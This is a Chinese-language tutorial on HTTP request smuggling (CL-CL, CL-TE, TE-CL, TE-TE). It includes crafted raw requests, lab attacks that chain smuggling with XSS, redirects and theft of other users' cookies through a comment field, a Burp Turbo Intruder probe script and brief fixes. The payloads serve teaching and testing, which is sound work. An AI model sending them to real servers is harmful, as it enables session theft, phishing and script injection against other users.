2.產(chǎn)生的原因

在HTTP1.1后,增加了一個(gè)特殊的請(qǐng)求頭Connection: Keep-Alive,建立tcp持續(xù)通道,進(jìn)行一次tcp握手,就能傳送多個(gè)請(qǐng)求。但這樣子只能是請(qǐng)求一次響應(yīng)一次。為了提高數(shù)據(jù)傳輸?shù)男?減少阻塞。后來就有了HTTP Pipelining(管線化)字段,它是將多個(gè)http請(qǐng)求批量提交,而不用等收到響應(yīng)再提交的異步技術(shù)。如下圖就是使用Pipelining和非Pipelining

這意味著前端與后端必須短時(shí)間內(nèi)對(duì)每個(gè)數(shù)據(jù)包的邊界大小達(dá)成一致,否則,攻擊者就可以構(gòu)造發(fā)送一個(gè)特殊的數(shù)據(jù)包,在前端看來它是一個(gè)請(qǐng)求,但在后端卻被解釋為了兩個(gè)不同的HTTP請(qǐng)求。這就導(dǎo)致攻擊者可以在下一個(gè)用戶發(fā)送的合法數(shù)據(jù)包前惡意添加內(nèi)容。如圖,走私的內(nèi)容(”前綴”),以橙色突出顯示:

假設(shè)前端考慮的是內(nèi)容長(zhǎng)度頭部(Content-Length)值作為數(shù)據(jù)包結(jié)束的邊界,后端優(yōu)先考慮的是Transfer-Encoding頭部。那么從后端角度看,如下圖藍(lán)色部份字體屬于一個(gè)數(shù)據(jù)包,而紅色部份字體屬于下一個(gè)數(shù)據(jù)包的開始部份。這樣就成功從前端’走私’了一個(gè)數(shù)據(jù)包。

3.攻擊類別

3.1.CL不為0的GET請(qǐng)求

假設(shè)前端代理服務(wù)器允許GET請(qǐng)求攜帶請(qǐng)求體,而后端服務(wù)器不允許GET請(qǐng)求攜帶請(qǐng)求體,它會(huì)直接忽略掉GET請(qǐng)求中的 Content-Length頭,不進(jìn)行處理。這就有可能導(dǎo)致請(qǐng)求走私。

比如發(fā)送下面請(qǐng)求

GET / HTTP/1.1

Host:example.com

Content-Length:44

GET /socket HTTP/1.1

Host: example.com

前端服務(wù)器通過讀取Content-Length,確認(rèn)這是個(gè)完整的請(qǐng)求,然后轉(zhuǎn)發(fā)到后端服務(wù)器,而后端服務(wù)器因?yàn)椴粚?duì)Content-Length進(jìn)行判斷,由于Pipeline的存在,它認(rèn)為這是兩個(gè)請(qǐng)求,分別為

第一個(gè)

GET / HTTP/1.1

Host: example.com

第二個(gè)

GET /socket HTTP/1.1

Host: example.com

則相當(dāng)于走私了請(qǐng)求

3.2 CL-CL

在RFC7230規(guī)范中, 規(guī)定當(dāng)服務(wù)器收到的請(qǐng)求中包含兩個(gè) Content-Length,而且兩者的值不同時(shí),需要返回400錯(cuò)誤。但難免會(huì)有服務(wù)器不嚴(yán)格遵守該規(guī)范。假設(shè)前端和后端服務(wù)器都收到該類請(qǐng)求,且不報(bào)錯(cuò),其中前端服務(wù)器按照第一個(gè)Content-Length的值對(duì)請(qǐng)求進(jìn)行為數(shù)據(jù)包定界,而后端服務(wù)器則按照第二個(gè)Content-Length的值進(jìn)行處理。

這時(shí)攻擊者可以惡意構(gòu)造一個(gè)特殊的請(qǐng)求,

POST / HTTP/1.1

Host: example.com

Content-Length: 6

Content-Length: 5

123

A

CDN服務(wù)器獲取到的數(shù)據(jù)包的長(zhǎng)度6,將上述整個(gè)數(shù)據(jù)包轉(zhuǎn)發(fā)給后端的服務(wù)器,而后端服務(wù)器獲取到的數(shù)據(jù)包長(zhǎng)度為5。當(dāng)讀取完前5個(gè)字符后,后端服務(wù)器認(rèn)為該請(qǐng)求已經(jīng)讀取完畢,然后發(fā)送出去。而此時(shí)的緩沖區(qū)去還剩余一個(gè)字母 A,對(duì)于后端服務(wù)器來說,這個(gè) A是下一個(gè)請(qǐng)求的一部分,但是還沒有傳輸完畢。此時(shí)恰巧有一個(gè)其他的正常用戶對(duì)服務(wù)器進(jìn)行了請(qǐng)求,則該A字母會(huì)拼湊到下一個(gè)正常用戶請(qǐng)求的前面,攻擊在此展開。

3.3 CL-TE

所謂CL-TE,顧名思義就是收到包含Content-Length和Transfer-Encoding這兩個(gè)請(qǐng)求頭d的請(qǐng)求時(shí),前端代理服務(wù)器按照Content-Length這一請(qǐng)求頭定界,而后端服務(wù)器則以Transfer-Encoding請(qǐng)求頭為標(biāo)準(zhǔn)。

構(gòu)造數(shù)據(jù)包

POST / HTTP/1.1

Host: example.com

Content-Length: 16

Transfer-Encoding: chunked

0

chunkedcode

前端服務(wù)器處理Content-Length頭并確定請(qǐng)求主體長(zhǎng)度為16個(gè)字節(jié),直到chunkedcode

結(jié)束。此請(qǐng)求將轉(zhuǎn)發(fā)到后端服務(wù)器。

后端服務(wù)器處理Transfer-Encoding標(biāo)頭,因此將消息體視為使用分塊編碼。它處理第一個(gè)塊,它被稱為零長(zhǎng)度,因此被視為終止請(qǐng)求。緩沖區(qū)內(nèi)還剩下chunkedcode,由于存在pipeline技術(shù),后端服務(wù)器將這些字節(jié)視為隊(duì)列中下一個(gè)請(qǐng)求的開始。

在做之前記得要把 BurpSuite 的自動(dòng)更新 Content-Length 功能取消了。

注意:需要發(fā)送兩次請(qǐng)求

3.4 TE-CL

這種情況則屬于前端服務(wù)器處理Transfer-Encoding請(qǐng)求頭,而后端服務(wù)器處理Content-Length請(qǐng)求頭。

構(gòu)造數(shù)據(jù)包

Host:example.com

Content-Length: 3

Transfer-Encoding: chunked

chunkedcode

0

注意0后面加兩個(gè)\r\n

前端服務(wù)器處理Transfer-Encoding請(qǐng)求頭,因此將消息體視為使用分塊編碼,處理第一塊時(shí),有11個(gè)字節(jié),直到chunkedcodede的最后一個(gè)字節(jié)。開始處理第二個(gè)塊,第二塊是0個(gè)字節(jié),視為終止請(qǐng)求。此時(shí)把請(qǐng)求轉(zhuǎn)發(fā)到后端。而后端則在11處完成了對(duì)第一個(gè)數(shù)據(jù)包的讀取,chunkedcode\r\n0為下一個(gè)數(shù)據(jù)包的開始部份

在做之前記得要把 BurpSuite 的自動(dòng)更新 Content-Length 功能取消了。

注意:需要發(fā)送兩次請(qǐng)求

3.5 TE-TE

前端服務(wù)器處理第一個(gè)Transfer-Encoding請(qǐng)求頭,后端服務(wù)器處理第二個(gè)Transfer-Encoding請(qǐng)求頭.

構(gòu)造數(shù)據(jù)包

Host:example.com

Content-length: 3

Transfer-Encoding: chunked

Transfer-encoding: error

chunkedcode

0

這里是用了兩個(gè)Transfer-Encoding 字段,并且第二個(gè) TE 字段值為錯(cuò)誤值,這里 前端服務(wù)器選擇對(duì)第一個(gè) Transfer-Encoding進(jìn)行處理,整個(gè)請(qǐng)求正常,原封不動(dòng)轉(zhuǎn)發(fā)給后端服務(wù)器,而后端服務(wù)器則以第二個(gè)Transfer-Encoding 字段進(jìn)行優(yōu)先處理,而第二個(gè)Transfer-Encoding 字段非標(biāo)準(zhǔn)值,根據(jù)RPC規(guī)范,則會(huì)取Content-Length字段進(jìn)行處理,這樣這個(gè)請(qǐng)求就會(huì)被拆分為兩個(gè)請(qǐng)求。

在做之前記得要把 BurpSuite 的自動(dòng)更新 Content-Length 功能取消了。

注意:需要發(fā)送兩次請(qǐng)求

4.攻擊擴(kuò)展

4.1.smuggling+reflected xss

單純的UA處的xss并沒有什么危害,但可以結(jié)合請(qǐng)求走私攻擊進(jìn)行利用來提升危害

我們可以構(gòu)造以下數(shù)據(jù)包,只要發(fā)送一次

POST / HTTP/1.1

Host: acc01f221f0e5490815e020800d200d8.web-security-academy.net

Connection: close

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: session=k3jXNrcQioQOdiLYyRXPJVf5gHZykEl8

Content-Type: application/x-www-form-urlencoded

Content-Length: 150

Transfer-Encoding: chunked

0

GET /post?postId=3 HTTP/1.1

User-Agent: “><script>alert(1)</script>

Content-Type: application/x-www-form-urlencoded

Content-Length: 5

x=1

會(huì)在該網(wǎng)站的任意頁面觸發(fā)xss,因?yàn)樵趆ttp序列中,走私的請(qǐng)求會(huì)插到用戶對(duì)網(wǎng)站的請(qǐng)求前面

4.2 direct+smuggling

該場(chǎng)景基于url跳轉(zhuǎn),把用戶重定向到一個(gè)固定網(wǎng)頁,lab為我們提供個(gè)跳轉(zhuǎn)api,/post/next?postId=3路由跳轉(zhuǎn)到的是/post?postId=4。

此時(shí)我們可以利用走私攻擊并配合重定向進(jìn)行釣魚.

發(fā)送以下數(shù)據(jù)包一次:

POST / HTTP/1.1

Host: ac501fd21fceba4f80de460400140045.web-security-academy.net

Connection: close

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36

Sec-Fetch-Dest: document

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: session=Rmtn44vZ2BeGqD1ToPbAYrcDS0UiIKwQ

Content-Type: application/x-www-form-urlencoded

Content-Length: 178

Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1

Host: ac501fd21fceba4f80de460400140045.web-security-academy.net

Content-Type: application/x-www-form-urlencoded

Content-Length: 10

x=1

然后訪問原網(wǎng)站任意頁面,都會(huì)被重定向到/post?postId=4

4.3竊取用戶請(qǐng)求

利用走私攻擊捕捉用戶請(qǐng)求數(shù)據(jù)包,竊取cookie

我們?cè)诎l(fā)送評(píng)論處的api接口構(gòu)造請(qǐng)求包如下

發(fā)送以下數(shù)據(jù)包

POST / HTTP/1.1

Host: ac671f031fa2e9ba80ffdc2d00690027.web-security-academy.net

Connection: close

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: session=7fnaaemuD32ZqUPyB6EGVA8vOL8wwz8p

Content-Type: application/x-www-form-urlencoded

Content-Length: 343

Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1

Host: ac671f031fa2e9ba80ffdc2d00690027.web-security-academy.net

Content-Length: 600

Content-Type: application/x-www-form-urlencoded

Cookie: session=7fnaaemuD32ZqUPyB6EGVA8vOL8wwz8p

csrf=aeITUnejzQ7XRUTUiEWl4X6ckwPt8TWc&postId=2&name=1&email=123%40qq.com&website=https%3A%2F%2Fwww.baidu.com&comment=118

成功把用戶的請(qǐng)求拼接到走私請(qǐng)求的comment參數(shù)上,如下圖

5.案例

該案例利用的是CL-TE的攻擊方式。根據(jù)RFC,當(dāng)Content-Length和Transfer-Encoding兩個(gè)標(biāo)頭同時(shí)出現(xiàn)在同一請(qǐng)求包時(shí),Transfer-Encoding始終被優(yōu)先處理。但是,如果Transfer-Encoding標(biāo)頭格式錯(cuò)誤,則前端服務(wù)器和后端服務(wù)器之間的對(duì)請(qǐng)求的解釋可能會(huì)有所不同。在該站點(diǎn)上發(fā)現(xiàn)的CLTE問題是,在請(qǐng)求包中Transfer-Encoding 和:之間加多一個(gè)空格,使該字段的格式為非標(biāo)準(zhǔn)值,此時(shí)前端服務(wù)器依據(jù)RPC規(guī)范,優(yōu)先處理Content-Length,而后端服務(wù)器并沒嚴(yán)格遵守RPC規(guī)范,以Transfer-Encoding為依據(jù)進(jìn)行處理數(shù)據(jù)包。

惡意請(qǐng)求的說明:

可見用戶的正常請(qǐng)求被拼接到X字段,而X請(qǐng)求頭非標(biāo)準(zhǔn)請(qǐng)求頭,故忽略,而該用戶的cookie字段也被拼接到了該走私的請(qǐng)求上

在Burp Collaborator Client上能成功竊取到用戶的cookie

6.測(cè)試工具

在burpsuite上查找到請(qǐng)求包,右鍵lauch smuggle probe,隨后在burpsuite的掃描結(jié)果上顯示報(bào)告

進(jìn)一步確定漏洞

右鍵點(diǎn)擊”smuggle attack(CL.TE)”

出現(xiàn)Turbo Intruder腳本

# if you edit this file, ensure you keep the line endings as CRLF or you’ll have a bad time

def queueRequests(target, wordlists):

# to use Burp’s HTTP stack for upstream proxy rules etc, use engine=Engine.BURP

engine = RequestEngine(endpoint=target.endpoint,

concurrentConnections=5,

requestsPerConnection=1,

resumeSSL=False,

timeout=10,

pipeline=False,

maxRetriesPerRequest=0,

engine=Engine.THREADED,

# This will prefix the victim’s request. Edit it to achieve the desired effect.

prefix = ”’GET /hopefully404 HTTP/1.1

X-Ignore: X”’ //走私一個(gè)uri為/hopefully404的請(qǐng)求包,下一個(gè)用戶的請(qǐng)求會(huì)拼接到X-Ignore字段后面,因此要是存在走私漏洞,則會(huì)返回一個(gè)狀態(tài)碼為404的數(shù)據(jù)包

# The request engine will auto-fix the content-length for us

attack = target.req + prefix

engine.queue(attack)

victim = target.req

for i in range(14):

engine.queue(victim)

time.sleep(0.05)

def handleResponse(req, interesting):

table.add(req)

點(diǎn)擊”attack”進(jìn)行爆破測(cè)試

看到存在404狀態(tài)碼的數(shù)據(jù)包,說明存在http走私漏洞

修復(fù)方案:

1、前端服務(wù)器對(duì)前段輸入規(guī)范化

2、前端服務(wù)器使用HTTP2.0

3、后端服務(wù)器丟棄非正常請(qǐng)求

分享到

zhangnn

相關(guān)推薦